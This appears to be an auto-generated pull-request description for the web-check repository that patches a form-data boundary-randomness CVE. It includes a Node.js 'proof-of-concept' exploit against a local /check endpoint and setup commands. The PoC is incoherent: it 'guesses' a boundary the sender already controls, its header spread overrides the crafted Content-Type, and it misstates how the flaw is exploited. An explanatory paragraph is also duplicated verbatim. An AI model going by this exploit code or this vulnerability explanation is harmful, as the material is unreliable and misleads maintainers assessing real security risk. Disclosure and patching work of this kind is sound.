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Security Fix

This PR addresses a CRITICAL severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect Rating Rationale
Impact High In the web-check repository, which provides a web-based interface for analyzing websites, exploitation of the unsafe random function in form-data could allow attackers to predict multipart boundaries, potentially enabling data injection or manipulation during form submissions (e.g., file uploads for site checks), leading to information disclosure or denial of service against the tool's users.
Likelihood Medium Web-check is a website analysis tool with a web UI, making it potentially exposed if deployed publicly; however, exploitation requires an attacker to interact with the form-handling features and have knowledge of the unsafe randomness, which is not a common attack vector for this type of repository.
Ease of Fix Easy Remediation involves updating the form-data npm package to a patched version by modifying package.json and running yarn install, requiring no code changes or extensive testing beyond verifying the web interface still handles forms correctly.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The form-data library dependency in this repository uses an unsafe random function (Math.random) to generate multipart form boundaries, making them potentially predictable under certain conditions (e.g., if the Node.js process state is known or brute-forced). In the context of web-check, which is a web application that likely handles form submissions for website checks (e.g., via POST requests to endpoints like /check or file uploads), an attacker could craft a malicious multipart HTTP request with a guessed or predicted boundary. This could lead to form data parsing errors, field injection, or manipulation of the application's input handling, potentially allowing unauthorized data submission or denial-of-service by causing the server to misinterpret the request payload.

The form-data library dependency in this repository uses an unsafe random function (Math.random) to generate multipart form boundaries, making them potentially predictable under certain conditions (e.g., if the Node.js process state is known or brute-forced). In the context of web-check, which is a web application that likely handles form submissions for website checks (e.g., via POST requests to endpoints like /check or file uploads), an attacker could craft a malicious multipart HTTP request with a guessed or predicted boundary. This could lead to form data parsing errors, field injection, or manipulation of the application's input handling, potentially allowing unauthorized data submission or denial-of-service by causing the server to misinterpret the request payload.

// Node.js script to demonstrate exploitation by sending a crafted multipart request
// Assumes web-check is running locally on http://localhost:3000 (default port from repo)
// Attacker would first need to identify if the app uses form-data for parsing (e.g., via code review or fuzzing)
// This PoC guesses a boundary (in practice, brute-force or predict based on weak randomness)
// and injects a malicious field to demonstrate potential parsing confusion.

const axios = require('axios');
const FormData = require('form-data'); // Using the vulnerable version from yarn.lock

async function exploit() {
  // Simulate guessing a boundary (in real exploit, use known weak Math.random behavior or brute-force)
  const guessedBoundary = '----WebKitFormBoundaryPredicted123'; // Example guess; real attack might iterate

  // Create a form with the guessed boundary
  const form = new FormData();
  form.append('url', 'https://example.com'); // Legitimate field
  form.append('maliciousField', 'injected data'); // Injected field exploiting boundary guess

  // Manually construct the request payload with the guessed boundary to bypass proper parsing
  const payload = form.getBuffer().toString().replace(/----[^\r\n]+/, guessedBoundary);

  try {
    const response = await axios.post('http://localhost:3000/check', payload, {
      headers: {
        'Content-Type': `multipart/form-data; boundary=${guessedBoundary}`,
        ...form.getHeaders()
      }
    });
    console.log('Response:', response.data);
    // If successful, the server might process the injected field, leading to unexpected behavior
  } catch (error) {
    console.log('Error (potential DoS or parsing failure):', error.message);
  }
}

exploit();
# Bash script to run the exploit (requires Node.js and axios installed)
# First, clone and run the vulnerable web-check repo locally for testing
git clone https://github.com/Lissy93/web-check.git
cd web-check
yarn install  # Installs vulnerable form-data version
yarn start    # Starts the app on localhost:3000

# In another terminal, run the Node.js exploit script above
node exploit.js

# Expected outcome: If boundary is guessed correctly, the form parsing might fail or inject data,
# causing the app to respond with errors or process invalid input.
# In a real attack, this could be done remotely if the app is deployed publicly.

Exploitation Impact Assessment

Impact Category Severity Description
Data Exposure Low Limited potential for data leakage if form injection succeeds, as web-check primarily handles public website check requests rather than sensitive user data. An attacker might inject fields to access or manipulate check results, but no direct exposure of stored credentials, API keys, or personal data is evident in the repository's architecture.
System Compromise Low No direct path to code execution or privilege escalation; the vulnerability is confined to form parsing, not allowing arbitrary code or system access. At most, it could lead to minor server-side errors or resource consumption in the Node.js process.
Operational Impact Medium Successful exploitation could cause parsing failures or malformed requests, leading to application crashes, 500 errors, or temporary unavailability of the website checking service. The blast radius is limited to the single instance, with no impact on broader infrastructure unless deployed in a cluster.
Compliance Risk Low Minimal regulatory impact, as web-check handles public-facing website analysis without processing regulated data (e.g., no GDPR PII, HIPAA health data, or PCI payment info). It may violate general security best practices like OWASP input validation guidelines, but no major compliance frameworks are directly implicated.

Vulnerability Details

  • Rule ID: CVE-2025-7783
  • File: yarn.lock
  • Description: form-data: Unsafe random function in form-data

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

  • package.json
  • yarn.lock

Verification

This fix has been automatically verified through:

  • ✅ Build verification
  • ✅ Scanner re-scan
  • ✅ LLM code review

🤖 This PR was automatically generated.

Automatically generated security fix
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